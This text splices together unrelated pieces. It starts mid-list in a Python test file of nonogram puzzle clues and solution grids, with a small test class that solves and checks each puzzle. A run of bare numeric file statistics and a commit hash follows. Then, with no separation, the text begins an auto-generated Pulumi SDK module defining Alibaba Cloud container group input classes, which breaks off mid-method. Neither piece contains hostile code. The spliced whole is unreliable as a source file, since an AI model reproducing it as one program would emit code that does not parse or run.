1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0), (0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0), (0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1), (0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1))], [[(((2, 1, 3, 3, 7), (2, 2, 7), (5, 1, 1, 1, 8), (6, 1, 1, 3, 4), (6, 1, 1, 3, 1, 1), (8, 2, 1, 4), (1, 6, 1, 2, 1), (1, 6, 1, 3, 4), (1, 2, 2, 1, 4), (1, 1, 6, 4, 3, 4), (1, 3, 1, 7, 7), (3, 6, 3, 3), (2, 3, 3, 5), (1, 3, 2), (2, 1, 1, 1, 2), (2, 5, 1, 2), (1, 13), (1, 2, 11), (1, 2, 4, 6, 1), (2, 1, 3, 5, 3), (5, 5, 2, 1, 2), (6, 3, 5), (1, 1, 4, 3, 1), (3, 1, 6, 3, 1), (4, 3, 6, 2, 2)), ((5, 2, 2, 3), (6, 3, 2), (5, 2, 2), (1, 4, 4, 4, 1), (7, 1, 1, 6), (2, 5, 2, 2, 1), (1, 1, 5, 2, 3, 2), (1, 5, 6, 3, 1), (3, 5, 2, 1), (1, 2, 1, 2, 1, 3, 1, 2), (1, 1, 1, 3, 4, 2), (1, 3, 2, 9), (4, 11), (3, 3, 1, 3, 5), (1, 12, 3), (5, 6), (1, 5, 2, 5), (3, 1, 1, 4), (5, 1, 2, 7), (4, 4, 3, 4), (3, 3, 2, 4), (4, 8, 2, 5), (11, 1, 1, 1), (4, 1, 4, 1, 2, 3), (2, 8, 3, 1))) ,25 ,25],((1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1), (1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1), (0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1), (1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1), (0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0), (1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1), (1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1), (1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1), (0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0), (1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1), (1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1), (1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1), (0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1), (0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1), (0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1), (0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0), (0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0), (0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0), (1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0), (1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0), (1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1), (1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1), (1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0), (1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1), (1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1))], [[(((4, 2, 2), (2, 2, 1, 3, 1), (2, 1, 1, 1), (1, 2, 1, 1, 1, 1, 1), (2, 1, 1, 1, 1), (3, 1, 1, 3, 1), (1, 3, 1, 1, 1), (2, 2, 3), (1, 1, 1, 1, 2), (4, 1, 1, 2, 1), (1, 1, 3, 2), (2, 1, 2, 2, 2), (1, 2, 4, 1), (1, 2, 1, 1), (1, 6, 2)), ((3, 4), (2, 2, 3, 1), (2, 3, 2), (1, 1, 1, 1, 2), (1, 2, 4, 2), (2, 2, 2), (6, 1, 1, 1), (1, 1, 3, 1), (2, 3, 4, 1), (1, 1, 1, 1, 1, 1), (1, 1, 1, 3, 1, 2), (1, 3, 3), (1, 1, 1, 2, 1), (1, 1, 1, 2, 1, 2), (2, 3, 2, 1))) ,15 ,15],((0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1), (0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0), (1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0), (1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0), (1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0), (1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1), (0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1), (0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1), (1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1), (1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1), (0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1), (0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0), (0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0), (1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1), (1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1))], [[(((2, 2), (2,), (3,), (1,), (3,)), ((1,), (1,), (4,), (3, 1), (1, 1, 1))) ,5 ,5],((1, 0, 0, 0, 0), (1, 0, 0, 0, 0), (0, 1, 1, 1, 1), (1, 1, 1, 0, 1), (1, 0, 1, 0, 1))], [[(((1, 1), (4, 1), (1, 1, 1, 1), (2, 2), (3, 2, 1), (1, 1, 2, 1, 1), (2, 1), (1, 2, 2, 2), (3, 2, 2), (1, 1, 1), (1, 1, 1, 1, 1), (3, 2, 1), (2, 2), (1, 3, 1), (2, 2)), ((3, 1, 2, 2, 2), (2, 2, 1, 1, 1), (2, 2, 6), (1, 1, 2, 2), (1, 1, 1, 3, 1), (1, 1, 2, 1, 1), (2, 1, 2, 1), (3, 3), (1, 1, 5), (1, 2), (3,))) ,15 ,11],((0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1), (1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1), (0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0), (0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0), (1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0), (0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0), (0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1), (0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1), (0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0), (0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0), (0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0))], [[(((3, 3, 1, 3), (3, 3, 1, 1, 4), (6, 1, 1, 2, 3), (4, 1, 1, 8), (4, 2, 7, 2), (1, 2, 3, 1), (4, 5), (3, 3, 4, 1, 1), (1, 1, 1, 1, 7), (4, 2, 1, 4), (1, 4, 3, 4), (1, 1, 1, 1, 5, 1), (6, 2, 6, 4), (5, 1, 3, 1, 4), (1, 1, 1, 5, 1, 5), (4, 8, 1, 1), (6, 9), (4, 1, 1, 6), (5, 2, 5), (9, 2, 1), (10, 2, 4, 1), (5, 3, 3, 3, 1), (5, 4, 4, 1), (4, 8, 2, 1), (5, 8, 1, 1, 1)), ((2, 11), (3, 10), (6, 11), (3, 2, 10), (4, 1, 1, 5, 1), (5, 2, 2, 2, 2), (3, 1, 4, 3, 1), (1, 1, 2, 7), (4, 2, 6), (1, 2, 1, 5), (2, 1, 1, 2, 2), (1, 1, 5, 4, 4), (1, 4, 1, 4, 4), (1, 1, 4, 2, 11), (1, 11, 3), (2, 1, 9), (1, 1, 8, 4), (2, 5, 2, 5, 1), (6, 1, 2, 1), (7, 1, 1, 1, 1), (3, 3, 1, 1, 3), (1, 3, 4, 4, 2, 2), (4, 7, 1, 1), (5, 3, 3, 1, 1), (5, 1, 2, 1, 2))) ,25 ,25],((1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1), (1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1), (1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1), (0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1), (0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1), (1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0), (1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0), (1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1), (0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1), (0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1), (0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1), (0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1), (0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1), (0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1), (0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1), (0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0), (0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0), (1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1), (0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0), (0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0), (0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0), (0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1), (1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0), (1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0), (1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1))], [[(((5, 5), (4, 6), (1, 3, 2, 3), (4, 6), (5, 3, 1), (4, 3, 4), (4, 5, 3), (1, 4, 5), (1, 2, 1), (3, 3, 3, 1), (1, 1, 9), (2, 1, 6), (7, 3), (3, 9, 1), (3, 4, 3, 1)), ((3, 3, 2), (4, 1, 1, 2), (4, 2, 3), (7, 1), (2, 2, 4), (4, 2, 3), (3, 1, 5, 3), (1, 1, 4, 2, 3), (5, 5), (3, 2, 2, 2), (4, 8), (2, 1, 1, 8), (4, 3, 5), (8, 2), (3, 6, 2))) ,15 ,15],((0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1), (0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1), (0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1), (1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0), (1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1), (1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1), (1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1), (1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1), (0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0), (0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1), (1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1), (1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1), (1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0), (1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0), (1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1))], [[(((3, 3), (3, 2), (4, 4), (9,), (3, 3)), ((1,), (1,), (2,), (3,), (4,), (3,), (3,), (1, 1), (1, 3), (5,), (4,), (2,))) ,5 ,12],((1, 0, 0, 0, 0), (1, 0, 0, 0, 0), (1, 1, 0, 0, 0), (0, 1, 1, 1, 0), (0, 1, 1, 1, 1), (0, 0, 1, 1, 1), (0, 0, 1, 1, 1), (1, 0, 0, 1, 0), (1, 0, 1, 1, 1), (1, 1, 1, 1, 1), (0, 1, 1, 1, 1), (0, 0, 1, 1, 0))], [[(((3, 1), (2,), (2,), (1, 1), (3,)), ((4,), (3,), (1, 1), (1,), (1, 2))) ,5 ,5],((1, 1, 1, 1, 0), (1, 1, 1, 0, 0), (1, 0, 0, 0, 1), (0, 0, 0, 0, 1), (1, 0, 0, 1, 1))], [[(((3,), (1, 1), (2,), (3,), (2, 1)), ((1, 1), (1, 1), (4,), (3,), (1, 1))) ,5 ,5],((1, 0, 0, 0, 1), (1, 0, 0, 0, 1), (1, 1, 1, 1, 0), (0, 0, 1, 1, 1), (0, 1, 0, 1, 0))], [[(((1, 1), (3, 1), (3,), (3,), (1,)), ((3,), (2,), (3,), (2,), (2, 1))) ,5 ,5],((1, 1, 1, 0, 0), (0, 1, 1, 0, 0), (0, 1, 1, 1, 0), (0, 0, 0, 1, 1), (1, 1, 0, 1, 0))], [[(((4,), (2, 4), (2, 1, 4), (1, 1, 1, 1), (1, 1, 1, 1, 2, 1), (1, 1, 1, 1, 1, 1), (1, 1, 1, 1, 1, 1), (1, 1, 1, 2, 2, 1), (1, 1, 3, 1), (1, 1, 5, 1), (1, 4, 5), (1, 5, 1), (5, 4, 1), (5, 2), (6,)), ((10,), (1, 1), (9, 1), (1, 1, 1), (8, 1, 2), (1, 1, 2, 1), (1, 2, 1, 1), (1, 4, 1, 1, 1), (2, 1, 1, 1, 2), (1, 1, 2, 1), (1, 2, 1, 2, 1, 1), (2, 1, 2, 1, 1, 1), (1, 1, 1, 1), (1, 1, 2), (12,))) ,15 ,15],((0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0), (0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0), (0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0), (0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0), (0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0), (1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0), (1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0), (1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0), (1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1), (0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1), (0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1), (0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1), (0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1), (0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1), (0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0))], [[(((2,), (3,), (4,), (1, 1), (1, 1)), ((2,), (3, 1), (3,), (1, 1), (2,))) ,5 ,5], ((1, 1, 0, 0, 0), (1, 1, 1, 0, 1), (0, 1, 1, 1, 0), (0, 0, 1, 0, 1), (0, 0, 1, 1, 0))], [[(((2, 1, 1), (2, 1, 1, 1, 1), (1, 1, 3, 2), (1, 2, 2), (2, 1, 1), (4, 1, 2, 1), (4, 1), (5,), (5, 1), (4, 1, 2, 2), (2, 2, 1), (2, 1, 1, 1), (1, 2, 1, 2), (1, 1, 1, 2), (2, 1)), ((1, 1), (1, 1), (1, 1), (2, 2), (1, 1), (2, 1, 1, 2), (2, 1, 5, 2, 1), (1, 1, 1, 2, 2, 1), (1, 3, 1, 1, 1, 1), (2, 1, 3, 2), (2, 1, 2, 3), (1, 2, 1, 1, 2), (1, 2, 1, 1, 1), (1, 1, 2, 1), (2, 2))) ,15 ,15],((0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0), (0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0), (0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0), (0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0), (0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0), (0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1), (1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1), (1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0), (0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1), (0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0), (0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0), (1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0), (0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0), (1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0), (0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0))]] class TestVariableSizeNanograms: tests = tests param = None result = None i = None def test_all(self): for i,test in enumerate(self.tests): param, result = test r = Nonogram(*param).solve() assert r == result string = f'{i}: {r} Should_Equal {result} ' string = string + ' Correct!' if r == result else string + ' Incorrect!' print(string,"\n")
145.976563
2,705
0.316671
5,071
18,685
1.160915
0.011635
0.446407
0.403601
0.343129
0.817734
0.755563
0.70919
0.688636
0.666723
0.643961
0
0.384261
0.314477
18,685
127
2,706
147.125984
0.075338
0
0
0.333333
0
0
0.002837
0
0
0
0
0
0.074074
1
0.083333
false
0
0.009259
0
0.148148
0.074074
0
0
1
null
1
1
1
1
1
1
0
0
1
0
1
0
0
0
1
1
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
12
a19104a74cc51b5a74835dabb8299923c6f9a77b
46,527
py
Python
sdk/python/pulumi_alicloud/eci/_inputs.py
pulumi/pulumi-alicloud
9c34d84b4588a7c885c6bec1f03b5016e5a41683
[ "ECL-2.0", "Apache-2.0" ]
42
2019-03-18T06:34:37.000Z
2022-03-24T07:08:57.000Z
sdk/python/pulumi_alicloud/eci/_inputs.py
pulumi/pulumi-alicloud
9c34d84b4588a7c885c6bec1f03b5016e5a41683
[ "ECL-2.0", "Apache-2.0" ]
152
2019-04-15T21:03:44.000Z
2022-03-29T18:00:57.000Z
sdk/python/pulumi_alicloud/eci/_inputs.py
pulumi/pulumi-alicloud
9c34d84b4588a7c885c6bec1f03b5016e5a41683
[ "ECL-2.0", "Apache-2.0" ]
3
2020-08-26T17:30:07.000Z
2021-07-05T01:37:45.000Z
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = [ 'ContainerGroupContainerArgs', 'ContainerGroupContainerEnvironmentVarArgs', 'ContainerGroupContainerPortArgs', 'ContainerGroupContainerVolumeMountArgs', 'ContainerGroupDnsConfigArgs', 'ContainerGroupDnsConfigOptionArgs', 'ContainerGroupEciSecurityContextArgs', 'ContainerGroupEciSecurityContextSysctlArgs', 'ContainerGroupHostAliasArgs', 'ContainerGroupInitContainerArgs', 'ContainerGroupInitContainerEnvironmentVarArgs', 'ContainerGroupInitContainerPortArgs', 'ContainerGroupInitContainerVolumeMountArgs', 'ContainerGroupVolumeArgs', 'ContainerGroupVolumeConfigFileVolumeConfigFileToPathArgs', 'ImageCacheImageRegistryCredentialArgs', 'OpenApiImageCacheImageRegistryCredentialArgs', ] @pulumi.input_type class ContainerGroupContainerArgs: def __init__(__self__, *, image: pulumi.Input[str], name: pulumi.Input[str], args: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, commands: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, cpu: Optional[pulumi.Input[float]] = None, environment_vars: Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupContainerEnvironmentVarArgs']]]] = None, gpu: Optional[pulumi.Input[int]] = None, image_pull_policy: Optional[pulumi.Input[str]] = None, memory: Optional[pulumi.Input[float]] = None, ports: Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupContainerPortArgs']]]] = None, ready: Optional[pulumi.Input[bool]] = None, restart_count: Optional[pulumi.Input[int]] = None, volume_mounts: Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupContainerVolumeMountArgs']]]] = None, working_dir: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] image: The image of the container. :param pulumi.Input[str] name: The name of the mounted volume. :param pulumi.Input[Sequence[pulumi.Input[str]]] args: The arguments passed to the commands. :param pulumi.Input[Sequence[pulumi.Input[str]]] commands: The commands run by the init container. :param pulumi.Input[float] cpu: The amount of CPU resources allocated to the container. :param pulumi.Input[Sequence[pulumi.Input['ContainerGroupContainerEnvironmentVarArgs']]] environment_vars: The structure of environmentVars. :param pulumi.Input[int] gpu: The number GPUs. :param pulumi.Input[str] image_pull_policy: The restart policy of the image. :param pulumi.Input[float] memory: The amount of memory resources allocated to the container. :param pulumi.Input[Sequence[pulumi.Input['ContainerGroupContainerPortArgs']]] ports: The structure of port. :param pulumi.Input[Sequence[pulumi.Input['ContainerGroupContainerVolumeMountArgs']]] volume_mounts: The structure of volumeMounts. :param pulumi.Input[str] working_dir: The working directory of the container. """ pulumi.set(__self__, "image", image) pulumi.set(__self__, "name", name) if args is not None: pulumi.set(__self__, "args", args) if commands is not None: pulumi.set(__self__, "commands", commands) if cpu is not None: pulumi.set(__self__, "cpu", cpu) if environment_vars is not None: pulumi.set(__self__, "environment_vars", environment_vars) if gpu is not None: pulumi.set(__self__, "gpu", gpu) if image_pull_policy is not None: pulumi.set(__self__, "image_pull_policy", image_pull_policy) if memory is not None: pulumi.set(__self__, "memory", memory) if ports is not None: pulumi.set(__self__, "ports", ports) if ready is not None: pulumi.set(__self__, "ready", ready) if restart_count is not None: pulumi.set(__self__, "restart_count", restart_count) if volume_mounts is not None: pulumi.set(__self__, "volume_mounts", volume_mounts) if working_dir is not None: pulumi.set(__self__, "working_dir", working_dir) @property @pulumi.getter def image(self) -> pulumi.Input[str]: """ The image of the container. """ return pulumi.get(self, "image") @image.setter def image(self, value: pulumi.Input[str]): pulumi.set(self, "image", value) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ The name of the mounted volume. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter def args(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ The arguments passed to the commands. """ return pulumi.get(self, "args") @args.setter def args(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "args", value) @property @pulumi.getter def commands(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ The commands run by the init container. """ return pulumi.get(self, "commands") @commands.setter def commands(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "commands", value) @property @pulumi.getter def cpu(self) -> Optional[pulumi.Input[float]]: """ The amount of CPU resources allocated to the container. """ return pulumi.get(self, "cpu") @cpu.setter def cpu(self, value: Optional[pulumi.Input[float]]): pulumi.set(self, "cpu", value) @property @pulumi.getter(name="environmentVars") def environment_vars(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupContainerEnvironmentVarArgs']]]]: """ The structure of environmentVars. """ return pulumi.get(self, "environment_vars") @environment_vars.setter def environment_vars(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupContainerEnvironmentVarArgs']]]]): pulumi.set(self, "environment_vars", value) @property @pulumi.getter def gpu(self) -> Optional[pulumi.Input[int]]: """ The number GPUs. """ return pulumi.get(self, "gpu") @gpu.setter def gpu(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "gpu", value) @property @pulumi.getter(name="imagePullPolicy") def image_pull_policy(self) -> Optional[pulumi.Input[str]]: """ The restart policy of the image. """ return pulumi.get(self, "image_pull_policy") @image_pull_policy.setter def image_pull_policy(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "image_pull_policy", value) @property @pulumi.getter def memory(self) -> Optional[pulumi.Input[float]]: """ The amount of memory resources allocated to the container. """ return pulumi.get(self, "memory") @memory.setter def memory(self, value: Optional[pulumi.Input[float]]): pulumi.set(self, "memory", value) @property @pulumi.getter def ports(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupContainerPortArgs']]]]: """ The structure of port. """ return pulumi.get(self, "ports") @ports.setter def ports(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupContainerPortArgs']]]]): pulumi.set(self, "ports", value) @property @pulumi.getter def ready(self) -> Optional[pulumi.Input[bool]]: return 